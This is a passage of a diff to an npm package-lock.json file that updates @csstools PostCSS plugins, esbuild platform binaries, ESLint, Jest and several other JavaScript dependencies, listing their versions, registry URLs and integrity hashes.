"sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-stepped-value-functions": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-2.1.1.tgz", - "integrity": "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-5.0.1.tgz", + "integrity": "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "dependencies": { - "@csstools/css-calc": "^1.1.1", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1" + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-syntax-descriptor-syntax-production": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-syntax-descriptor-syntax-production/-/postcss-syntax-descriptor-syntax-production-2.0.0.tgz", + "integrity": "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-system-ui-font-family": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-system-ui-font-family/-/postcss-system-ui-font-family-2.0.0.tgz", + "integrity": "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + }, + "engines": { + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-text-decoration-shorthand": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-2.2.4.tgz", - "integrity": "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A==", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-5.0.3.tgz", + "integrity": "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw==", "dev": true, "funding": [ { @@ -8853,21 +8882,22 @@ "url": "https://opencollective.com/csstools" } ], + "license": "MIT-0", "dependencies": { - "@csstools/color-helpers": "^2.1.0", + "@csstools/color-helpers": "^6.0.2", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^14 || ^16 || >=18" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/@csstools/postcss-text-decoration-shorthand/node_modules/@csstools/color-helpers": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-2.1.0.tgz", - "integrity": "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw==", + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-5.0.1.tgz", + "integrity": "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w==", "dev": true, "funding": [ { @@ -8879,61 +8909,63 @@ "url": "https://opencollective.com/csstools" } ], - "engines": { - "node": "^14 || ^16 || >=18" - } - }, - "node_modules/@csstools/postcss-trigonometric-functions": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-2.1.1.tgz", - "integrity": "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw==", - "dev": true, + "license": "MIT-0", "dependencies": { - "@csstools/css-calc": "^1.1.1", - "@csstools/css-parser-algorithms": "^2.1.1", - "@csstools/css-tokenizer": "^2.1.1" + "@csstools/css-calc": "^3.1.1", + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" }, "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, "node_modules/@csstools/postcss-unset-value": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-2.0.1.tgz", - "integrity": "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-5.0.0.tgz", + "integrity": "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { "postcss": "^8.4" } }, - "node_modules/@csstools/selector-specificity": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz", - "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==", + "node_modules/@csstools/utilities": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@csstools/utilities/-/utilities-3.0.0.tgz", + "integrity": "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", "engines": { - "node": "^14 || ^16 || >=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/csstools" + "node": ">=20.19.0" }, "peerDependencies": { - "postcss-selector-parser": "^6.0.10" + "postcss": "^8.4" } }, "node_modules/@dabh/diagnostics": { @@ -9395,44 +9427,10 @@ "tslib": "^2.4.0" } }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.1.tgz", - "integrity": "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.1.tgz", - "integrity": "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.1.tgz", - "integrity": "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA==", + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz", + "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==", "cpu": [ "arm64" ], @@ -9440,381 +9438,7 @@ "license": "MIT", "optional": true, "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.1.tgz", - "integrity": "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.1.tgz", - "integrity": "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.1.tgz", - "integrity": "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.1.tgz", - "integrity": "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.1.tgz", - "integrity": "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.1.tgz", - "integrity": "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.1.tgz", - "integrity": "sha512-jaN3dHi0/DDPelk0nLcXRm1q7DNJpjXy7yWaWvbfkPvI+7XNSc/lDOnCLN7gzsyzgu6qSAmgSvP9oXAhP973uQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.1.tgz", - "integrity": "sha512-OJykPaF4v8JidKNGz8c/q1lBO44sQNUQtq1KktJXdBLn1hPod5rE/Hko5ugKKZd+D2+o1a9MFGUEIUwO2YfgkQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.1.tgz", - "integrity": "sha512-nGfornQj4dzcq5Vp835oM/o21UMlXzn79KobKlcs3Wz9smwiifknLy4xDCLUU0BWp7b/houtdrgUz7nOGnfIYg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.1.tgz", - "integrity": "sha512-1osBbPEFYwIE5IVB/0g2X6i1qInZa1aIoj1TdL4AaAb55xIIgbg8Doq6a5BzYWgr+tEcDzYH67XVnTmUzL+nXg==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.1.tgz", - "integrity": "sha512-/6VBJOwUf3TdTvJZ82qF3tbLuWsscd7/1w+D9LH0W/SqUgM5/JJD0lrJ1fVIfZsqB6RFmLCe0Xz3fmZc3WtyVg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.1.tgz", - "integrity": "sha512-nSut/Mx5gnilhcq2yIMLMe3Wl4FK5wx/o0QuuCLMtmJn+WeWYoEGDN1ipcN72g1WHsnIbxGXd4i/MF0gTcuAjQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.1.tgz", - "integrity": "sha512-cEECeLlJNfT8kZHqLarDBQso9a27o2Zd2AQ8USAEoGtejOrCYHNtKP8XQhMDJMtthdF4GBmjR2au3x1udADQQQ==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.1.tgz", - "integrity": "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.1.tgz", - "integrity": "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.1.tgz", - "integrity": "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.1.tgz", - "integrity": "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.1.tgz", - "integrity": "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.1.tgz", - "integrity": "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.1.tgz", - "integrity": "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.1.tgz", - "integrity": "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.25.1", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.1.tgz", - "integrity": "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" + "openharmony" ], "engines": { "node": ">=18" @@ -9909,20 +9533,20 @@ } }, "node_modules/@eslint/eslintrc": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz", - "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==", + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.4.tgz", + "integrity": "sha512-4h4MVF8pmBsncB60r0wSJiIeUKTSD4m7FmTFThG8RHlsg9ajqckLm9OraguFGZE4vVdpiI1Q4+hFnisopmG6gQ==", "dev": true, "license": "MIT", "dependencies": { - "ajv": "^6.12.4", + "ajv": "^6.14.0", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", - "js-yaml": "^4.1.0", - "minimatch": "^3.1.2", + "js-yaml": "^4.1.1", + "minimatch": "^3.1.3", "strip-json-comments": "^3.1.1" }, "engines": { @@ -9933,9 +9557,9 @@ } }, "node_modules/@eslint/eslintrc/node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", "dev": true, "license": "MIT", "dependencies": { @@ -10729,9 +10353,9 @@ } }, "node_modules/@google/generative-ai": { - "version": "0.24.0", - "resolved": "https://registry.npmjs.org/@google/generative-ai/-/generative-ai-0.24.0.tgz", - "integrity": "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q==", + "version": "0.24.1", + "resolved": "https://registry.npmjs.org/@google/generative-ai/-/generative-ai-0.24.1.tgz", + "integrity": "sha512-MqO+MLfM6kjxcKoy0p1wRzG3b4ZZXtPI+z2IE26UogS2Cm/XHO+7gGRBh6gcJsOiIVoH93UwKvW4HdgiOZCy9Q==", "license": "Apache-2.0", "engines": { "node": ">=18.0.0" @@ -10766,6 +10390,26 @@ "node": ">=6" } }, + "node_modules/@happy-dom/jest-environment": { + "version": "20.8.3", + "resolved": "https://registry.npmjs.org/@happy-dom/jest-environment/-/jest-environment-20.8.3.tgz", + "integrity": "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "happy-dom": "^20.8.3" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@jest/environment": ">=25.0.0", + "@jest/fake-timers": ">=25.0.0", + "@jest/types": ">=25.0.0", + "jest-mock": ">=25.0.0", + "jest-util": ">=25.0.0" + } + }, "node_modules/@headlessui/react": { "version": "2.2.4", "resolved": "https://registry.npmjs.org/@headlessui/react/-/react-2.2.4.tgz", @@ -10787,9 +10431,9 @@ } }, "node_modules/@hono/node-server": { - "version": "1.19.9", - "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.9.tgz", - "integrity": "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==", + "version": "1.19.10", + "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.10.tgz", + "integrity": "sha512-hZ7nOssGqRgyV3FVVQdfi+U4q02uB23bpnYpdvNXkYTRRyWx84b7yf1ans+dnJ/7h41sGL3CeQTfO+ZGxuO+Iw==", "license": "MIT", "engines": { "node": ">=18.14.1" @@ -11227,29 +10871,6 @@ "resolved": "https://registry.npmjs.org/@ioredis/commands/-/commands-1.2.0.tgz", "integrity": "sha512-Sx1pU8EM64o2BrqNpEO1CNLtKQwyhuXuqyfH7oGKCk+1a33d2r5saW8zNwm3j6BTExtjrv2BxTgzzkMwts6vGg==" }, - "node_modules/@isaacs/balanced-match": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz", - "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/@isaacs/brace-expansion": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz", - "integrity": "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@isaacs/balanced-match": "^4.0.1" - }, - "engines": { - "node": "20 || >=22" - } - }, "node_modules/@isaacs/cliui": { "version": "8.0.2", "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", @@ -11428,18 +11049,19 @@ } }, "node_modules/@jest/environment": { - "version": "29.7.0", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.7.0.tgz", - "integrity": "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw==", + "version": "30.2.0", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz", + "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/fake-timers": "^29.7.0", - "@jest/types": "^29.6.3", + "@jest/fake-timers": "30.2.0", + "@jest/types": "30.2.0", "@types/node": "*", - "jest-mock": "^29.7.0" + "jest-mock": "30.2.0" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/environment-jsdom-abstract": { @@ -11470,40 +11092,6 @@ } } }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/environment": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.2.0.tgz", - "integrity": "sha512-/QPTL7OBJQ5ac09UDRa3EQes4gt1FTEG/8jZ/4v5IVzx+Cv7dLxlVIvfvSVRiiX2drWyXeBjkMSR8hvOWSog5g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/fake-timers": "30.2.0", - "@jest/types": "30.2.0", - "@types/node": "*", - "jest-mock": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, - "node_modules/@jest/environment-jsdom-abstract/node_modules/@jest/fake-timers": { - "version": "30.2.0", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.2.0.tgz", - "integrity": "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jest/types": "30.2.0", - "@sinonjs/fake-timers": "^13.0.0", - "@types/node": "*", - "jest-message-util": "30.2.0", - "jest-mock": "30.2.0", - "jest-util": "30.2.0" - }, - "engines": { - "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" - } - }, 